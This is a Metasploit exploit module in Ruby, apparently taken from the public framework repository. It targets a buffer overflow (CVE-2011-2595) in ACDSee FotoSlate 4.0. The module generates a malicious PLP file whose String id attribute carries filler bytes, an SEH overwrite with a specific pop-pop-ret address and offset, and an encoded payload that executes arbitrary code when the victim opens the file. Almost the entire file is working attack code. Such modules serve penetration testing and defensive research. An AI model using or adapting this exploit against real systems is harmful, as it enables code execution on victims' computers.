Path: blob/master/modules/exploits/windows/fileformat/acdsee_fotoslate_string.rb
19535 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::FILEFORMAT9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'ACDSee FotoSlate PLP File id Parameter Overflow',16'Description' => %q{17This module exploits a buffer overflow in ACDSee FotoSlate 4.0 Build 146 via18a specially crafted id parameter in a String element. When viewing a malicious19PLP file with the ACDSee FotoSlate product, a remote attacker could overflow a20buffer and execute arbitrary code. This exploit has been tested on systems such as21Windows XP SP3, Windows Vista, and Windows 7.22},23'License' => MSF_LICENSE,24'Author' => [25'Parvez Anwar', # Vulnerability discovery26'juan vazquez' # Metasploit module27],28'References' => [29[ 'CVE', '2011-2595' ],30[ 'OSVDB', '75425' ],31[ 'BID', '49558' ],32],33'DefaultOptions' => {34'EXITFUNC' => 'process',35'DisablePayloadHandler' => true36},37'Payload' => {38# 'Space' => 4000,39'BadChars' => "\x00\x22"40},41'Platform' => 'win',42'Targets' => [43[44'ACDSee FotoSlate 4.0 Build 146',45{46'Ret' => 0x263a5b57, # pop, pop, ret from ipwssl6.dll47'Offset' => 1812,48'TotalLength' => 500049}50],51],52'Privileged' => false,53'DisclosureDate' => '2011-09-12',54'DefaultTarget' => 0,55'Notes' => {56'Reliability' => UNKNOWN_RELIABILITY,57'Stability' => UNKNOWN_STABILITY,58'SideEffects' => UNKNOWN_SIDE_EFFECTS59}60)61)6263register_options(64[65OptString.new('FILENAME', [ true, 'The file name.', 'msf.plp']),66]67)68end6970def exploit71overflow = rand_text(target["Offset"])72overflow << generate_seh_record(target.ret)73overflow << payload.encoded74overflow << rand_text_alpha(target["TotalLength"] - overflow.length)7576plp = <<~TEMPLATE77<?xml version="1.0" encoding="ISO-8859-1"?>78<ACDFotoSlateDocument15>79<PageDefinition>80<Template>81<Version>3.0</Version>82<Page>83<Name>Letter</Name>84<Properties>85<String id="#{overflow}"></String>86<String id="Width">8.500000IN</String>87<String id="Height">11.000000IN</String>88<String id="Orientation">Portrait</String>89<Bool id="AutoRotate">FALSE</Bool>90<Bool id="AutoFill">FALSE</Bool>91</Properties>92<Content>93<Bool id="UseBGColor">FALSE</Bool>94<Int id="BGImageType">0</Int>95<String id="BGImageFile"></String>96<Int id="BGColor">16777215</Int>97</Content>98</Page>99<ToolList>100<Group>101<Tool>102<Name>Image</Name>103<Properties>104<String id="XPos">0.500000IN</String>105<String id="YPos">0.500000IN</String>106<String id="Width">7.500000IN</String>107<String id="Height">10.000000IN</String>108<Float id="Tilt">0.000000</Float>109</Properties>110<Content>111<Int id="ShapeType">0</Int>112<Float id="RoundRectX">0.000000</Float>113<Float id="RoundRectY">0.000000</Float>114<Bool id="ShrinkToFit">FALSE</Bool>115<Bool id="AutoRotate">FALSE</Bool>116<Float id="BorderWidth">0.000000</Float>117<Bool id="UseBGColor">FALSE</Bool>118<Int id="BGColor">8454143</Int>119<Bool id="DropShadow">FALSE</Bool>120<Int id="DSColor">0</Int>121<Bool id="BevelEdge">FALSE</Bool>122<Bool id="Border">FALSE</Bool>123<Int id="BorderColor">16711680</Int>124<Bool id="IsLocked">FALSE</Bool>125</Content>126</Tool>127</Group>128</ToolList>129</Template>130<PageContent>131<Version>3.0</Version>132<Page>133<Name>Letter</Name>134<Content>135<Bool id="UseBGColor">FALSE</Bool>136<Int id="BGImageType">0</Int>137<String id="BGImageFile"></String>138<Int id="BGColor">16777215</Int>139</Content>140</Page>141<ToolList>142<Group>143<Tool>144<Name>Image</Name>145<Content>146<Int id="ShapeType">0</Int>147<Float id="RoundRectX">0.000000</Float>148<Float id="RoundRectY">0.000000</Float>149<Bool id="ShrinkToFit">FALSE</Bool>150<Bool id="AutoRotate">FALSE</Bool>151<Float id="BorderWidth">0.000000</Float>152<Bool id="UseBGColor">FALSE</Bool>153<Int id="BGColor">8454143</Int>154<Bool id="DropShadow">FALSE</Bool>155<Int id="DSColor">0</Int>156<Bool id="BevelEdge">FALSE</Bool>157<Bool id="Border">FALSE</Bool>158<Int id="BorderColor">16711680</Int>159<Bool id="IsLocked">FALSE</Bool>160</Content>161</Tool>162</Group>163</ToolList>164</PageContent>165</PageDefinition>166</ACDFotoSlateDocument15>167TEMPLATE168169print_status("Creating '#{datastore['FILENAME']}' file ...")170file_create(plp)171end172end173174=begin175After SEH, we have ~0x23C3 bytes (9155 in decimal) of space for payload. But we need to avoid176using a long buffer in order to avoid the meterpreter possibly being broken.177=end178179180